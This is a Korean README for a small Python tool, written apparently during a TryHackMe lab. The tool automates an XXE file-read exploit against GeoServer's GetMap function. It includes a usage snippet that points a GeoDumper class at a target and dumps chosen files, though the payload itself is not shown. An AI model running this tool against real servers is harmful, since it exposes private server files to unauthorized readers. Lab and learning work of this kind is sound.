
이 저장소에 포함된 코드와 정보는 교육 및 연구 목적으로만 제공됩니다. 저장소 소유자는 이 저장소의 코드 및/또는 정보를 사용하여 수행하는 모든 행위에 대해 책임을 지지 않습니다. 귀하의 행동은 귀하 자신의 책임입니다. 합법적이고 책임감 있게 사용하시기 바랍니다.
exploit/exploiter.py 파일의 Python3 클래스(GeoDumper)는 XXE 취약점 악용을 자동화하고 유출된 정보를 로컬 파일에 저장합니다.
예시:
import exploit.exploiter as exploiter
target_ip = "localhost"
secure = False
geoserver_path = "geoserver"
dumper = exploiter.GeoDumper(target_ip=target_ip, geoserver_path=geoserver_path, is_secure=secure)
(data, filename) = dumper.dump_file(target_file)
print(f"[+] data saved to \"{filename}\"")
print(f"[+] Data:\n{data.decode("utf-8")}")
해당 취약점은 GetMap 함수에 전달되는 XML 입력이 제대로 정화(sanitize)되지 않아, 공격자가 임의의 파일을 읽을 수 있게 됩니다.
취약점에 대한 더 많은 정보와 더 나은 설명/분석은 아래 링크에서 확인할 수 있습니다.
참고: 저는 이 취약점을 발견하지 않았으며 관련 연구도 수행하지 않았습니다. 이 코드와 저장소는 TryHackMe에서 관련 룸을 진행하면서 작성되었습니다.